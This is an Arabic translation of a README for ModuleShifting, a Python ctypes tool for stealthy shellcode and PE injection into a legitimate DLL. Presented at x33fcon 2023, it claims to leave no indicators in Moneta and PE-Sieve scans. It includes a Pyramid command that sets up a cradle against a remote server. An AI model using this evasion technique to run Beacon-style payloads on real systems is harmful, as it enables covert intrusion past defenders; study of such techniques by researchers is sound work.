
تنوع أكثر خفاءً من تقنيات حقن Module Stomping و Module Overloading التي تقلل من مؤشرات الاختراق (IoCs) في الذاكرة. تم تنفيذه باستخدام Python ctypes.
تم تقديم هذه الأداة في محاضرة x33fcon 2023: "تحسين خفاء تقنيات حقن الذاكرة" [فيديو] [مقال]
ModuleShifting هي نسخة أكثر خفاءً من تقنية حقن Module Stomping و Module Overloading. تم تنفيذها فعليًا باستخدام Python ctypes بحيث يمكن تنفيذها بالكامل في الذاكرة عبر مترجم Python و Pyramid، وبالتالي تجنب استخدام المحملات المترجمة.
يمكن استخدام التقنية مع حمولات PE أو شيلكود، ومع ذلك، فإن النسخة الأكثر خفاءً تُستخدم مع حمولات الشيلكود التي تحتاج إلى أن تكون مستقلة وظيفيًا عن الحمولة النهائية التي يقوم الشيلكود بتحميلها.
عند استخدام ModuleShifting مع حمولة شيلكود، فإنها تقوم بالعمليات التالية:

عند استخدام حمولة PE، ستقوم ModuleShifting بالعملية التالية:
يمكن استخدام ModuleShifting لحقن حمولة دون تخصيص ذاكرة ديناميكيًا (أي VirtualAlloc)، وبالمقارنة مع Module Stomping و Module Overloading فهي أكثر خفاءً لأنها تقلل من عدد مؤشرات الاختراق (IoCs) الناتجة عن تقنية الحقن نفسها.
هناك 3 اختلافات رئيسية بين Module Shifting وبعض التطبيقات العامة لـ Module Stomping (واحد من Bobby Cooke و WithSecure)
الاختلافات بين Module Shifting و Module Overloading هي التالية:
باستخدام حمولة شيلكود مستقلة وظيفيًا مثل حمولة AceLdr Beacon Stageless Shellcode، تستطيع ModuleShifting الحقن محليًا دون تخصيص ذاكرة ديناميكيًا وفي الوقت الحالي تولد صفر مؤشر اختراق (IoC) في فحص Moneta و PE-Sieve. أنا على دراية بأن حمولات AceLdr النائمة يمكن اكتشافها بأدوات رائعة أخرى مثل Hunt-Sleeping-Beacon، لكن التركيز هنا على تقنية الحقن نفسها، وليس على الحمولة. في حالتنا، ما يتيح المزيد من الخفاء في الحقن هو الاستقلال الوظيفي للشيلكود، بحيث يمكن استعادة البايتات الضارة المكتوبة إلى محتواها الأصلي، مما يمحو آثار الحقن بشكل فعال.
جميع المعلومات والمحتوى مقدم لأغراض تعليمية فقط. اتبع التعليمات على مسؤوليتك الخاصة. لا يتحمل المؤلف ولا صاحب العمل أي مسؤولية عن أي ضرر أو خسارة مباشرة أو ناتجة تنشأ عن أي شخص أو منظمة.
هذا العمل أصبح ممكنًا بفضل المعرفة والأدوات التي شاركها أشخاص رائعون مثل Aleksandra Doniec @hasherezade، Forest Orr و Kyle Avery. لقد استخدمت بشكل مكثف Moneta، PeSieve، PE-Bear و AceLdr طوال عملية التعلم الخاصة بي، وقد كانت أساسية لفهمي لهذا الموضوع.
يمكن استخدام ModuleShifting مع Pyramid ومترجم Python لتنفيذ الحقن المحلي للعملية بالكامل في الذاكرة، متجنبًا المحملات المترجمة.
git clone https://github.com/naksyn/Pyramid
python3 pyramid.py -u testuser -pass testpass -p 443 -enc chacha20 -passenc superpass -generate -server 192.168.1.2 -setcradle moduleshifting.pyhttps://github.com/naksyn/ModuleShifting/assets/59816245/67fcf888-3385-47da-b828-8a2dafeeb1e2
لتنفيذ هذه التقنية بنجاح، يجب استخدام حمولة شيلكود قادرة على تحميل حمولة إضافية ذاتية الاستدامة في منطقة ذاكرة أخرى. تم اختبار ModuleShifting مع حمولة AceLdr، القادرة على تحميل نسخة كاملة من Beacon في الكومة (heap)، مما يكسر الاعتماد الوظيفي مع الشيلكود الأولي. ستعمل هذه التقنية مع أي حمولة شيلكود لها قدرات مماثلة. يصبح الشيلكود الأولي عديم الفائدة بمجرد تنفيذه، ولا يوجد سبب لإبقائه في الذاكرة كمؤشر اختراق (IoC).
يجب أيضًا اختيار dll مضيف يحتوي على مساحة كافية للشيلكود في القسم المستهدف، وإلا ستفشل التقنية.
تحتاج تقنيات Module Stomping و Module Shifting إلى كتابة شيلكود في مساحة ذاكرة dll شرعي. ستزيل ModuleShishing مؤشر الاختراق هذا بعد مرحلة التنظيف، ولكن يمكن للفاحصين ذوي قدرات الفحص في الوقت الفعلي اكتشاف المؤشرات.
